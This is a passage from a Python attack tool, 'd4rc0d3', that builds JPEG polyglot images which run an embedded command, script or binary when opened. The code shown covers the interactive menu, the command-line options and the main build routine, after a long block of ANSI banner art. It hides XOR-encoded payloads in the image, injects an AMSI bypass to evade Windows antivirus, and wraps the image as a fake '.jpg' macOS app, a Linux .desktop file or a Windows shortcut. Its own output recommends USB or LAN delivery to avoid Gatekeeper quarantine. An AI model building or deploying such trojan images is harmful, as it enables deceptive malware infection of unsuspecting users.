m▀[38;2;29;21;37m[48;2;27;20;33m▀[38;2;31;24;39m[48;2;18;12;24m▀[38;2;31;24;38m[48;2;4;0;9m▀[38;2;23;17;29m[48;2;0;0;0m▀[38;2;0;0;4m[48;2;10;8;16m▀[38;2;0;0;0m[48;2;191;187;192m▀[0m[38;2;198;196;202m▀[0m [0m [0m [0m [0m [0m [0m [0m [0m [0m\n'
|
||||
'[0m [0m [0m [0m [0m [0m [0m [38;2;102;99;105m[48;2;212;209;213m▀[38;2;0;0;0m[48;2;4;1;9m▀[38;2;22;19;31m[48;2;10;7;18m▀[38;2;46;45;57m[48;2;31;28;41m▀[38;2;67;70;84m[48;2;60;60;74m▀[38;2;75;73;92m[48;2;76;73;93m▀[38;2;18;12;35m[48;2;61;55;76m▀[38;2;23;18;40m[48;2;28;22;43m▀[38;2;83;76;95m[48;2;55;51;71m▀[38;2;131;116;136m[48;2;96;87;104m▀[38;2;151;127;146m[48;2;71;56;74m▀[38;2;100;80;93m[48;2;56;51;64m▀[38;2;74;57;69m[48;2;63;61;73m▀[38;2;60;44;56m[48;2;63;60;72m▀[38;2;61;49;60m[48;2;63;60;73m▀[38;2;59;51;62m[48;2;62;57;73m▀[38;2;56;52;63m[48;2;56;52;67m▀[38;2;62;61;72m[48;2;49;43;59m▀[38;2;66;66;77m[48;2;41;35;52m▀[38;2;64;64;75m[48;2;33;30;45m▀[38;2;61;57;69m[48;2;26;23;39m▀[38;2;52;48;60m[48;2;27;22;39m▀[38;2;42;40;52m[48;2;23;20;37m▀[38;2;38;35;48m[48;2;22;20;35m▀[38;2;44;42;54m[48;2;23;20;37m▀[38;2;59;55;67m[48;2;28;24;40m▀[38;2;66;64;75m[48;2;34;30;46m▀[38;2;66;62;75m[48;2;39;34;51m▀[38;2;65;55;72m[48;2;48;38;55m▀[38;2;67;59;74m[48;2;50;38;57m▀[38;2;69;61;75m[48;2;50;40;59m▀[38;2;66;61;75m[48;2;46;42;59m▀[38;2;69;65;80m[48;2;49;46;61m▀[38;2;77;76;88m[48;2;48;46;62m▀[38;2;85;86;98m[48;2;49;43;60m▀[38;2;92;91;105m[48;2;52;45;61m▀[38;2;97;94;108m[48;2;57;49;66m▀[38;2;86;80;97m[48;2;74;65;84m▀[38;2;34;29;45m[48;2;96;88;106m▀[38;2;8;4;19m[48;2;71;65;81m▀[38;2;28;23;39m[48;2;22;18;32m▀[38;2;31;26;38m[48;2;16;13;24m▀[38;2;29;20;33m[48;2;32;26;39m▀[38;2;26;13;27m[48;2;29;21;32m▀[38;2;26;12;29m[48;2;21;11;23m▀[38;2;20;11;27m[48;2;24;16;29m▀[38;2;17;9;24m[48;2;23;15;29m▀[38;2;19;10;27m[48;2;21;12;26m▀[38;2;20;12;29m[48;2;20;11;24m▀[38;2;19;11;27m[48;2;19;10;24m▀[38;2;20;12;29m[48;2;20;11;26m▀[38;2;21;13;29m[48;2;24;15;29m▀[38;2;17;9;24m[48;2;21;12;26m▀[38;2;17;9;26m[48;2;24;13;31m▀[38;2;21;13;29m[48;2;28;19;35m▀[38;2;21;15;29m[48;2;27;18;33m▀[38;2;23;16;29m▀[38;2;23;16;31m[48;2;27;18;32m▀[38;2;27;19;32m[48;2;28;19;30m▀[38;2;28;20;31m[48;2;28;19;31m▀[38;2;28;21;32m▀[38;2;28;20;32m▀[38;2;20;11;22m[48;2;20;11;21m▀[38;2;23;15;24m[48;2;24;16;24m▀[38;2;28;19;30m[48;2;28;19;29m▀[38;2;27;19;29m[48;2;28;19;28m▀[38;2;28;19;30m▀[38;2;27;18;29m▀[48;2;28;19;29m▀▀[38;2;28;19;30m[48;2;26;17;27m▀[38;2;24;15;27m[48;2;26;13;27m▀[38;2;27;17;29m[48;2;32;20;33m▀[48;2;24;13;27m▀[38;2;13;5;16m[48;2;5;0;8m▀[38;2;4;0;7m[48;2;1;0;6m▀[38;2;6;0;8m[48;2;9;0;13m▀[38;2;1;0;4m[48;2;22;13;27m▀[38;2;12;6;16m[48;2;32;26;39m▀[38;2;22;17;31m[48;2;35;29;44m▀[38;2;27;20;35m[48;2;29;22;39m▀[38;2;28;21;37m[48;2;29;21;37m▀[38;2;29;22;37m[48;2;19;13;28m▀[38;2;28;21;34m[48;2;13;8;21m▀[38;2;26;19;31m[48;2;1;0;7m▀[38;2;11;5;17m[48;2;18;12;23m▀[38;2;0;0;0m[48;2;81;75;84m▀[48;2;131;127;135m▀[48;2;176;174;180m▀[38;2;8;6;13m[48;2;232;231;234m▀[0m[38;2;99;98;103m▀[0m[38;2;229;228;229m▀[0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m\n'
|
||||
'[0m [0m [0m [0m [0m [0m [0m [0m [0m[38;2;184;183;186m▀[38;2;0;0;6m[48;2;125;119;128m▀[38;2;16;6;22m[48;2;0;0;2m▀[38;2;49;44;61m[48;2;29;26;41m▀[38;2;66;63;81m[48;2;57;54;71m▀[38;2;67;64;82m[48;2;74;70;91m▀[38;2;65;61;80m[48;2;76;72;92m▀[38;2;67;66;81m[48;2;55;52;70m▀[38;2;57;54;70m[48;2;51;50;67m▀[38;2;60;53;69m[48;2;43;40;55m▀[38;2;44;42;56m[48;2;31;24;44m▀[38;2;29;26;41m[48;2;30;22;42m▀[38;2;24;21;37m[48;2;29;23;43m▀[38;2;30;27;43m[48;2;29;24;43m▀[38;2;26;22;39m[48;2;29;26;45m▀[38;2;24;19;37m[48;2;26;22;43m▀[38;2;27;22;41m[48;2;21;17;40m▀[38;2;30;24;44m[48;2;12;9;30m▀[38;2;30;22;43m[48;2;13;6;30m▀[38;2;29;19;41m[48;2;21;10;38m▀[38;2;26;18;38m[48;2;29;20;45m▀[38;2;27;18;39m[48;2;27;18;42m▀[38;2;27;18;40m[48;2;26;18;41m▀[38;2;27;21;41m[48;2;20;11;34m▀[38;2;23;17;37m[48;2;12;8;31m▀[38;2;20;17;35m[48;2;10;7;30m▀[38;2;21;17;37m[48;2;11;7;30m▀[38;2;22;19;38m[48;2;7;7;28m▀[38;2;24;21;41m[48;2;9;8;30m▀[38;2;32;28;46m[48;2;13;10;30m▀[38;2;35;31;49m[48;2;17;10;32m▀[38;2;46;40;56m[48;2;18;10;30m▀[38;2;55;48;65m[48;2;20;12;32m▀[38;2;56;49;65m[48;2;31;26;46m▀[38;2;56;48;63m[48;2;34;31;49m▀[38;2;55;45;61m[48;2;45;37;55m▀[38;2;54;40;61m[48;2;60;48;66m▀[38;2;61;52;70m[48;2;46;39;55m▀[38;2;88;82;98m[48;2;43;38;54m▀[38;2;107;104;118m[48;2;70;67;82m▀[38;2;45;44;55m[48;2;100;98;111m▀[38;2;10;8;17m[48;2;76;73;85m▀[38;2;28;21;32m[48;2;15;12;22m▀[38;2;29;21;32m[48;2;18;12;22m▀[38;2;28;20;30m[48;2;31;23;33m▀[48;2;28;21;28m▀[38;2;27;18;29m[48;2;29;22;31m▀[38;2;28;20;30m[48;2;29;21;31m▀[38;2;21;13;23m[48;2;26;18;26m▀[48;2;27;19;29m▀[38;2;28;19;30m[48;2;31;23;33m▀[38;2;28;19;29m[48;2;31;23;32m▀[38;2;27;18;32m[48;2;29;21;34m▀[38;2;28;19;37m[48;2;28;19;35m▀[38;2;28;19;35m[48;2;29;20;34m▀▀[38;2;28;19;34m▀[38;2;29;20;34m[48;2;29;20;33m▀[38;2;28;19;32m[48;2;28;19;33m▀[38;2;28;19;31m[48;2;27;18;32m▀[48;2;26;17;29m▀[38;2;22;11;23m[48;2;21;10;22m▀[38;2;27;13;28m[48;2;28;18;30m▀[38;2;30;19;31m[48;2;30;20;32m▀[38;2;31;20;32m[48;2;30;20;31m▀[38;2;30;19;31m▀[38;2;30;17;31m[48;2;30;20;32m▀[38;2;30;19;31m[48;2;27;17;30m▀[48;2;29;19;32m▀[38;2;29;15;29m[48;2;30;18;32m▀[38;2;32;18;34m[48;2;35;22;37m▀[38;2;30;17;32m[48;2;18;6;22m▀[38;2;12;0;15m[48;2;4;0;7m▀[38;2;1;0;5m[48;2;18;7;22m▀[38;2;15;5;19m[48;2;42;30;46m▀[38;2;30;21;34m[48;2;29;20;37m▀[38;2;29;20;34m[48;2;17;8;26m▀[38;2;31;24;37m[48;2;0;0;10m▀[38;2;22;17;32m[48;2;0;0;12m▀[38;2;7;4;19m[48;2;17;11;29m▀[38;2;0;0;12m[48;2;35;27;44m▀[38;2;7;4;17m[48;2;64;56;72m▀[38;2;0;0;1m[48;2;48;42;56m▀[38;2;63;60;70m[48;2;81;78;87m▀[0m[38;2;242;240;245m▀[0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m\n'
|
||||
'[0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [38;2;72;69;80m[48;2;197;194;202m▀[38;2;0;0;6m[48;2;2;0;12m▀[38;2;28;23;41m[48;2;10;6;22m▀[38;2;38;32;54m[48;2;21;17;37m▀[38;2;50;44;67m[48;2;21;16;38m▀[38;2;62;56;78m[48;2;32;28;49m▀[38;2;53;48;69m[48;2;31;27;46m▀[38;2;27;22;41m[48;2;22;18;37m▀[38;2;23;18;42m[48;2;16;11;33m▀[38;2;27;21;45m[48;2;11;5;29m▀[38;2;22;17;41m[48;2;29;23;49m▀[38;2;17;11;34m[48;2;51;45;70m▀[38;2;7;1;26m[48;2;81;75;99m▀[38;2;16;10;34m[48;2;115;109;133m▀[38;2;31;26;50m[48;2;127;121;146m▀[38;2;59;52;77m[48;2;137;130;154m▀[38;2;91;84;110m[48;2;139;133;160m▀[38;2;106;99;129m[48;2;137;130;160m▀[38;2;118;111;139m[48;2;133;127;154m▀[38;2;114;108;132m[48;2;136;130;155m▀[38;2;76;71;95m[48;2;73;66;91m▀[38;2;95;89;114m[48;2;102;96;120m▀[38;2;118;113;138m[48;2;132;127;152m▀[38;2;102;95;124m[48;2;119;113;141m▀[38;2;87;81;111m[48;2;115;108;139m▀[38;2;70;64;89m[48;2;119;113;142m▀[38;2;57;52;76m[48;2;117;110;140m▀[38;2;44;39;64m[48;2;117;110;139m▀[38;2;37;31;55m[48;2;118;111;139m▀[38;2;40;34;60m[48;2;118;113;139m▀[38;2;37;31;56m[48;2;117;111;136m▀[38;2;12;7;32m[48;2;92;86;110m▀[38;2;18;12;38m[48;2;35;30;54m▀[38;2;22;17;38m[48;2;8;4;23m▀[38;2;28;23;38m[48;2;7;4;18m▀[38;2;45;41;56m[48;2;27;22;38m▀[38;2;39;34;50m[48;2;50;45;61m▀[38;2;33;29;44m[48;2;63;59;74m▀[38;2;39;34;50m[48;2;46;42;57m▀[38;2;83;78;94m[48;2;27;22;38m▀[38;2;105;100;115m[48;2;52;48;63m▀[38;2;37;33;48m[48;2;94;89;106m▀[38;2;12;6;19m[48;2;39;32;44m▀[38;2;29;22;34m[48;2;17;10;23m▀[38;2;31;24;35m[48;2;26;19;32m▀[38;2;28;21;33m[48;2;29;22;35m▀[38;2;23;17;29m[48;2;23;17;30m▀[38;2;24;19;29m[48;2;26;19;32m▀[38;2;28;21;32m[48;2;28;21;34m▀[38;2;26;19;30m[48;2;27;20;33m▀[38;2;26;18;29m[48;2;27;19;31m▀[38;2;28;19;30m[48;2;28;19;31m▀▀▀[48;2;26;17;29m▀[38;2;29;20;32m[48;2;29;20;32m▀[38;2;26;17;29m[48;2;28;19;31m▀[38;2;28;19;31m[48;2;29;20;32m▀[38;2;21;12;24m[48;2;21;12;24m▀[38;2;20;11;23m[48;2;28;19;32m▀[38;2;32;23;35m[48;2;34;26;38m▀[38;2;32;23;37m[48;2;33;24;39m▀[38;2;27;19;32m[48;2;32;23;38m▀[38;2;31;22;37m[48;2;32;23;37m▀[38;2;31;22;38m[48;2;31;22;38m▀[38;2;23;16;31m[48;2;31;22;39m▀[38;2;29;20;37m[48;2;34;26;43m▀[38;2;30;20;34m[48;2;24;16;29m▀[38;2;24;15;26m[48;2;10;2;12m▀[38;2;0;0;5m[48;2;2;0;7m▀[38;2;16;8;21m[48;2;24;16;30m▀[38;2;37;29;45m[48;2;38;29;46m▀[38;2;32;23;42m[48;2;24;15;34m▀[38;2;16;7;28m[48;2;4;0;16m▀[38;2;0;0;16m[48;2;18;9;32m▀[38;2;28;19;45m[48;2;66;57;82m▀[38;2;59;54;77m[48;2;73;65;88m▀[38;2;75;66;88m[48;2;66;55;78m▀[38;2;81;64;91m[48;2;59;43;69m▀[38;2;83;70;93m[48;2;67;53;76m▀[38;2;41;33;52m[48;2;39;29;48m▀[38;2;53;51;63m[48;2;75;71;84m▀[0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m\n'
|
||||
'[0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [38;2;109;106;118m[48;2;96;93;102m▀[38;2;50;45;61m[48;2;116;113;126m▀[38;2;32;28;46m[48;2;110;106;121m▀[38;2;30;22;45m[48;2;116;111;130m▀[38;2;21;17;38m[48;2;110;106;124m▀[38;2;22;18;37m[48;2;109;105;121m▀[38;2;26;21;39m[48;2;117;113;129m▀[38;2;40;34;55m[48;2;119;115;133m▀[38;2;100;95;117m[48;2;125;120;139m▀[38;2;131;126;148m[48;2;115;110;129m▀[38;2;136;130;151m[48;2;113;108;127m▀[38;2;139;133;153m[48;2;111;107;126m▀[38;2;129;124;144m[48;2;126;121;140m▀[38;2;141;135;155m[48;2;194;190;208m▀[38;2;143;139;160m[48;2;168;163;182m▀[38;2;142;137;162m[48;2;143;138;161m▀[38;2;133;127;158m[48;2;130;124;154m▀[38;2;136;129;157m[48;2;137;131;159m▀[38;2;121;117;141m[48;2;111;106;131m▀[38;2;78;72;97m[48;2;54;48;71m▀[38;2;88;83;108m[48;2;84;78;103m▀[38;2;105;99;125m[48;2;113;107;132m▀[38;2;98;92;120m[48;2;103;97;125m▀[38;2;105;98;130m[48;2;110;103;136m▀[38;2;107;99;132m[48;2;105;97;136m▀[38;2;105;97;131m[48;2;105;96;133m▀[38;2;105;98;130m[48;2;110;104;137m▀[38;2;109;103;131m[48;2;114;107;137m▀[38;2;111;106;132m[48;2;114;108;133m▀[38;2;113;107;131m[48;2;121;116;139m▀[38;2;131;125;149m[48;2;142;138;158m▀[38;2;122;118;138m[48;2;144;141;158m▀[38;2;69;64;82m[48;2;219;215;231m▀[0m[38;2;71;66;82m▀[38;2;62;57;73m[48;2;214;209;225m▀[38;2;21;17;32m[48;2;128;124;139m▀[38;2;53;49;64m[48;2;48;43;59m▀[38;2;49;44;60m[48;2;53;49;64m▀[38;2;35;31;46m[48;2;40;35;51m▀[38;2;38;33;49m[48;2;30;26;41m▀[38;2;18;13;29m[48;2;52;49;64m▀[38;2;69;62;75m[48;2;80;72;86m▀[38;2;28;21;34m[48;2;45;39;52m▀[38;2;11;5;18m[48;2;20;13;27m▀[38;2;31;24;38m[48;2;35;29;42m▀[38;2;23;17;29m[48;2;23;17;30m▀[38;2;26;19;32m[48;2;26;19;31m▀[38;2;28;21;34m[48;2;28;21;34m▀[38;2;27;20;33m[48;2;27;20;33m▀[38;2;27;19;30m[48;2;27;19;32m▀[38;2;28;19;32m[48;2;27;18;32m▀▀[38;2;28;19;31m[48;2;28;19;33m▀[48;2;29;20;33m▀[38;2;28;19;30m[48;2;26;17;31m▀[38;2;30;21;33m[48;2;32;23;38m▀[38;2;28;19;32m[48;2;26;17;31m▀[38;2;23;15;27m[48;2;27;19;32m▀[38;2;32;23;38m[48;2;31;22;39m▀[38;2;34;26;41m[48;2;32;23;41m▀[38;2;32;23;37m[48;2;30;21;38m▀[38;2;32;23;38m[48;2;30;22;39m▀[48;2;33;24;41m▀[38;2;30;21;39m[48;2;33;23;39m▀[38;2;33;24;40m[48;2;34;26;39m▀[38;2;32;23;41m[48;2;27;18;32m▀[38;2;12;4;17m[48;2;5;0;8m▀[38;2;4;0;6m[48;2;0;0;2m▀[38;2;7;0;10m[48;2;6;0;8m▀[38;2;29;20;35m[48;2;38;29;43m▀[38;2;37;28;44m[48;2;27;17;35m▀[38;2;16;6;26m[48;2;17;6;26m▀[38;2;42;32;53m[48;2;83;69;91m▀[38;2;78;67;92m[48;2;83;70;94m▀[38;2;29;18;45m[48;2;62;49;74m▀[38;2;52;43;65m[48;2;70;55;81m▀[38;2;76;64;88m[48;2;146;132;157m▀[38;2;102;85;111m[48;2;162;147;172m▀[38;2;114;99;122m[48;2;124;109;133m▀[38;2;63;52;71m[48;2;67;55;75m▀[38;2;93;87;100m[48;2;107;99;114m▀[0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m\n'
|
||||
'[0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [38;2;131;129;137m[48;2;191;187;194m▀[38;2;144;140;153m[48;2;187;183;194m▀[38;2;148;143;160m[48;2;223;218;234m▀[38;2;139;135;151m[48;2;228;223;239m▀[38;2;155;151;169m[48;2;229;225;239m▀[38;2;168;163;179m[48;2;243;240;252m▀[38;2;176;171;186m[48;2;245;240;253m▀[38;2;176;171;190m[48;2;239;236;251m▀[38;2;157;152;172m[48;2;237;232;249m▀[38;2;181;176;195m[48;2;236;231;248m▀[38;2;199;195;214m[48;2;237;232;249m▀[38;2;198;194;212m[48;2;236;231;248m▀[38;2;226;219;239m[48;2;234;229;246m▀[38;2;235;230;249m[48;2;230;226;243m▀[38;2;162;158;175m[48;2;166;162;179m▀[38;2;133;128;152m[48;2;136;130;153m▀[38;2;130;124;154m[48;2;132;126;155m▀[38;2;133;128;155m[48;2;125;119;146m▀[38;2;115;108;133m[48;2;108;104;128m▀[38;2;65;59;83m[48;2;96;91;115m▀[38;2;82;76;100m[48;2;81;75;99m▀[38;2;109;104;130m[48;2;115;109;135m▀[38;2;105;98;127m[48;2;107;100;129m▀[38;2;109;103;133m[48;2;111;105;136m▀[38;2;109;102;133m[48;2;110;104;130m▀[38;2;108;102;135m[48;2;108;103;127m▀[38;2;103;96;126m[48;2;140;135;158m▀[38;2;115;108;135m[48;2;201;196;217m▀[38;2;159;153;176m[48;2;235;230;248m▀[38;2;210;206;225m[48;2;207;203;218m▀[38;2;196;192;208m[48;2;226;221;236m▀[38;2;234;229;245m[48;2;225;221;234m▀[38;2;225;220;236m[48;2;214;210;224m▀[38;2;229;225;240m[48;2;238;234;249m▀[38;2;198;194;209m[48;2;188;184;199m▀[38;2;208;204;219m[48;2;210;206;220m▀[38;2;82;77;93m[48;2;152;148;163m▀[38;2;41;37;52m[48;2;43;39;55m▀[38;2;38;33;49m[48;2;41;37;52m▀[38;2;50;45;61m[48;2;61;56;72m▀[38;2;81;76;92m[48;2;60;55;71m▀[38;2;70;63;78m[48;2;64;57;73m▀[38;2;35;29;44m[48;2;32;26;41m▀[38;2;15;8;23m[48;2;20;13;29m▀[38;2;27;20;35m[48;2;30;23;39m▀[38;2;23;17;32m[48;2;24;18;33m▀[38;2;27;20;35m[48;2;28;21;37m▀[48;2;29;22;38m▀[38;2;23;17;32m[48;2;28;21;37m▀[38;2;27;19;32m[48;2;29;21;37m▀[38;2;28;19;34m[48;2;30;21;37m▀[38;2;24;16;30m[48;2;27;18;34m▀[38;2;27;18;31m[48;2;26;17;33m▀[38;2;29;20;34m▀[38;2;30;21;37m[48;2;27;18;34m▀[38;2;31;22;37m[48;2;24;16;32m▀[38;2;22;13;28m[48;2;22;13;30m▀[38;2;32;23;39m[48;2;33;24;41m▀[38;2;32;22;43m[48;2;35;26;48m▀[38;2;32;22;41m[48;2;33;23;46m▀[48;2;26;16;37m▀[38;2;33;23;43m[48;2;27;17;37m▀[38;2;32;22;40m[48;2;30;20;38m▀[38;2;30;23;37m[48;2;33;26;41m▀[38;2;34;26;40m[48;2;31;22;37m▀[38;2;16;7;22m[48;2;9;0;13m▀[38;2;4;0;7m[48;2;4;0;6m▀[38;2;0;0;0m[48;2;1;0;4m▀[38;2;11;2;15m[48;2;27;17;30m▀[38;2;43;34;49m[48;2;38;28;43m▀[38;2;17;8;24m[48;2;15;2;20m▀[38;2;29;17;35m[48;2;54;43;62m▀[38;2;81;70;92m[48;2;77;63;85m▀[38;2;73;59;83m[48;2;88;73;98m▀[38;2;114;98;126m[48;2;144;129;158m▀[38;2;122;107;132m[48;2;143;128;153m▀[38;2;127;111;137m[48;2;116;99;125m▀[38;2;159;143;169m[48;2;150;133;159m▀[38;2;93;78;102m[48;2;78;62;85m▀[38;2;83;67;88m[48;2;113;96;118m▀[38;2;106;94;109m[48;2;78;64;81m▀[0m[38;2;188;181;187m▄[0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m\n'
|
||||
'\n'
|
||||
' [1m[38;2;235;235;240md4rc0d3[0m [2m[38;2;155;155;170mv5.0 — jpeg polyglot payload generator[0m\n'
|
||||
' [2m[38;2;155;155;170m─ [2m[38;2;155;155;170m─ [2m[38;2;155;155;170m─ [2m[38;2;155;155;170m─ [2m[38;2;155;155;170m─ [2m[38;2;155;155;170m─ [2m[38;2;155;155;170m─ [2m[38;2;155;155;170m─ [2m[38;2;155;155;170m─ [2m[38;2;155;155;170m─ [2m[38;2;155;155;170m─ [2m[38;2;155;155;170m─ [2m[38;2;155;155;170m─ [2m[38;2;155;155;170m─ [2m[38;2;155;155;170m─ [2m[38;2;155;155;170m─ [2m[38;2;155;155;170m─ [2m[38;2;155;155;170m─ [2m[38;2;155;155;170m─ [2m[38;2;155;155;170m─ [2m[38;2;155;155;170m─ [2m[38;2;155;155;170m─ [2m[38;2;155;155;170m─ [2m[38;2;155;155;170m─ [2m[38;2;155;155;170m─ [2m[38;2;155;155;170m─ [2m[38;2;155;155;170m─ [2m[38;2;155;155;170m─ [2m[38;2;155;155;170m─ [2m[38;2;155;155;170m─ [2m[38;2;155;155;170m─ [2m[38;2;155;155;170m─ [2m[38;2;155;155;170m─ [2m[38;2;155;155;170m─ [2m[38;2;155;155;170m─ [2m[38;2;155;155;170m─ [2m[38;2;155;155;170m─ [2m[38;2;155;155;170m─ [2m[38;2;155;155;170m─ [2m[38;2;155;155;170m─[0m\n'
|
||||
'\n'
|
||||
)
|
||||
print(''.join(_LUCY))
|
||||
|
||||
default_img = os.path.join(os.path.dirname(__file__), 'cover.jpg')
|
||||
img = input(f"Cover image [{default_img}]: ").strip() or default_img
|
||||
if not os.path.isfile(img):
|
||||
warn(f"Image not found: {img}"); sys.exit(1)
|
||||
|
||||
print(f"\n{C.BOLD}Payload type:{C.END}")
|
||||
print(" 1) Inline command (runs everywhere, Slack-compatible)")
|
||||
print(" 2) PowerShell .ps1 (Windows + Linux/macOS via pwsh)")
|
||||
print(" 3) Script .py/.sh (Linux/macOS, base64+XOR in post-EOI)")
|
||||
print(" 4) Binary .exe/.elf (any platform, base64+XOR in post-EOI)")
|
||||
print(" 5) Combined: command + file")
|
||||
ptype = input("Type [1]: ").strip() or '1'
|
||||
|
||||
command = ''
|
||||
payload_file = ''
|
||||
if ptype in ('1',):
|
||||
command = input("Command [id > /tmp/pwned.txt]: ").strip() or 'id > /tmp/pwned.txt'
|
||||
elif ptype in ('2', '3', '4'):
|
||||
payload_file = input("Payload file path: ").strip()
|
||||
if not os.path.isfile(payload_file):
|
||||
warn(f"File not found: {payload_file}"); sys.exit(1)
|
||||
elif ptype == '5':
|
||||
command = input("Pre-command: ").strip()
|
||||
payload_file = input("Payload file path: ").strip()
|
||||
if not os.path.isfile(payload_file):
|
||||
warn(f"File not found: {payload_file}"); sys.exit(1)
|
||||
|
||||
print(f"\n{C.BOLD}Output targets:{C.END}")
|
||||
print(" 1) Polyglot JPEG only")
|
||||
print(" 2) Polyglot + macOS .zip")
|
||||
print(" 3) Polyglot + Linux .jpg (content detection)")
|
||||
print(" 4) Polyglot + Linux .jpg.desktop")
|
||||
print(" 5) Polyglot + Windows .lnk")
|
||||
print(" 6) All")
|
||||
targets_in = input("Targets [6]: ").strip() or '6'
|
||||
targets = set()
|
||||
if '1' in targets_in or '6' in targets_in: targets.add('polyglot')
|
||||
if '2' in targets_in or '6' in targets_in: targets.add('mac')
|
||||
if '3' in targets_in or '6' in targets_in: targets.add('linux-jpg')
|
||||
if '4' in targets_in or '6' in targets_in: targets.add('linux-dot')
|
||||
if '5' in targets_in or '6' in targets_in: targets.add('windows')
|
||||
if not targets: targets = {'polyglot'}
|
||||
|
||||
amsi = input("Inject AMSI bypass (Windows AV evasion)? [Y/n]: ").strip().lower() != 'n'
|
||||
out = input("Output directory [.]: ").strip() or '.'
|
||||
show = input("Open image viewer on execution? [y/N]: ").strip().lower() == 'y'
|
||||
|
||||
return img, command, payload_file, targets, amsi, out, show
|
||||
|
||||
|
||||
# ── Main ────────────────────────────────────────────────────────────────────────
|
||||
|
||||
def main():
|
||||
parser = argparse.ArgumentParser(
|
||||
prog='d4rc0d3',
|
||||
description='JPEG polyglot payload generator — image that executes on open',
|
||||
formatter_class=argparse.RawDescriptionHelpFormatter,
|
||||
epilog=textwrap.dedent("""\
|
||||
PAYLOAD TYPES:
|
||||
-c "cmd" inline command (Slack-safe, works everywhere)
|
||||
file.ps1 PowerShell script (XOR-encrypted in ICC profile)
|
||||
file.py / .sh script (base64+XOR in post-EOI, Linux/macOS)
|
||||
file.exe / .elf binary (base64+XOR in post-EOI)
|
||||
-c "cmd" file.ps1 combined: command runs first, then file
|
||||
|
||||
EXECUTION:
|
||||
Linux/macOS: sh photo.jpg
|
||||
Windows: powershell -ExecutionPolicy Bypass -File photo.jpg
|
||||
PowerShell: Rename to .ps1, then pwsh photo.ps1
|
||||
Double-click: use --mac / --linux / --windows flags
|
||||
|
||||
EXAMPLES:
|
||||
python3 d4rc0d3.py -c photo.jpg "id > /tmp/p.txt"
|
||||
python3 d4rc0d3.py photo.jpg payload.ps1 --windows --mac --linux
|
||||
python3 d4rc0d3.py -c photo.jpg "calc.exe" --windows -o /tmp/out/
|
||||
python3 d4rc0d3.py photo.jpg shell.py --linux --amsi -o /tmp/out/
|
||||
"""),
|
||||
)
|
||||
parser.add_argument('image', nargs='?', help='Cover JPEG/PNG image')
|
||||
parser.add_argument('payload', nargs='?', help='Payload file (.ps1/.py/.sh/.exe/...)')
|
||||
parser.add_argument('-c', metavar='CMD', help='Inline shell command')
|
||||
parser.add_argument('--mac', action='store_true', help='Also generate macOS .app bundle (ZIP)')
|
||||
parser.add_argument('--linux', action='store_true', help='Also generate Linux .jpg (content detection)')
|
||||
parser.add_argument('--linux-dot', action='store_true', help='Also generate Linux .jpg.desktop')
|
||||
parser.add_argument('--windows', action='store_true', help='Also generate Windows .lnk')
|
||||
parser.add_argument('--all', action='store_true', help='Generate all platform outputs')
|
||||
parser.add_argument('--amsi', action='store_true', default=True,
|
||||
help='Inject AMSI bypass for Windows AV evasion (default: on)')
|
||||
parser.add_argument('--no-amsi', action='store_true', help='Disable AMSI bypass injection')
|
||||
parser.add_argument('--show', action='store_true', help='Open image viewer on execution')
|
||||
parser.add_argument('--keep', action='store_true', help='Keep extracted payload file')
|
||||
parser.add_argument('-d', '--extract-dir', default='', help='Extraction directory (default: /tmp)')
|
||||
parser.add_argument('-o', '--output', default='.', help='Output directory (default: .)')
|
||||
|
||||
args = parser.parse_args()
|
||||
has_flag = any([args.image, args.c, args.mac, args.linux,
|
||||
getattr(args, 'linux_dot', False), args.windows, args.all])
|
||||
|
||||
if not has_flag:
|
||||
image, command, payload_file, targets, amsi, out, show = interactive()
|
||||
else:
|
||||
image = args.image or ''
|
||||
command = args.c or ''
|
||||
payload_file = args.payload or ''
|
||||
amsi = args.amsi and not args.no_amsi
|
||||
out = args.output
|
||||
show = args.show
|
||||
|
||||
if not image:
|
||||
parser.error("cover image is required")
|
||||
if not command and not payload_file:
|
||||
parser.error("provide -c 'command' or a payload file")
|
||||
|
||||
targets = {'polyglot'}
|
||||
if args.mac or args.all: targets.add('mac')
|
||||
if args.linux or args.all: targets.add('linux-jpg')
|
||||
if getattr(args, 'linux_dot', False) or args.all: targets.add('linux-dot')
|
||||
if args.windows or args.all: targets.add('windows')
|
||||
|
||||
if not os.path.isfile(image):
|
||||
warn(f"Image not found: {image}"); sys.exit(1)
|
||||
if payload_file and not os.path.isfile(payload_file):
|
||||
warn(f"Payload not found: {payload_file}"); sys.exit(1)
|
||||
|
||||
os.makedirs(out, exist_ok=True)
|
||||
|
||||
name = stem(image)
|
||||
poly_path = os.path.join(out, f"{name}.jpg")
|
||||
generated = []
|
||||
|
||||
# ── Build polyglot ─────────────────────────────────────────────────────
|
||||
head("Building JPEG polyglot")
|
||||
|
||||
try:
|
||||
build_polyglot_av(image, poly_path, command, payload_file,
|
||||
show, getattr(args, 'keep', False),
|
||||
getattr(args, 'extract_dir', ''), amsi)
|
||||
except Exception as e:
|
||||
warn(str(e)); sys.exit(1)
|
||||
|
||||
ok(f"Polyglot JPEG → {poly_path} ({os.path.getsize(poly_path):,} bytes)")
|
||||
ptype = 'inline command' if command and not payload_file else \
|
||||
payload_type(payload_file) if payload_file else 'command+file'
|
||||
info(f"Payload type: {ptype}")
|
||||
info(f"AMSI bypass: {'injected' if amsi else 'skipped'}")
|
||||
info(f"XOR key: embedded in ICC profile (offset 102)")
|
||||
generated.append(('Polyglot JPEG', poly_path))
|
||||
|
||||
# ── Platform-specific launchers ────────────────────────────────────────
|
||||
exec_cmd = command or f'sh "{poly_path}"'
|
||||
|
||||
if 'mac' in targets:
|
||||
head("macOS .app bundle")
|
||||
try:
|
||||
z = build_macos(image, exec_cmd, out)
|
||||
ok(f"macOS ZIP → {z} ({os.path.getsize(z):,} bytes)")
|
||||
info(f"Finder shows: '{name}.jpg' (single .app extension, .app hidden by Finder)")
|
||||
info(f"Double-click → Preview opens photo + payload runs in background")
|
||||
info(f"Delivery: USB/LAN share to avoid Gatekeeper quarantine")
|
||||
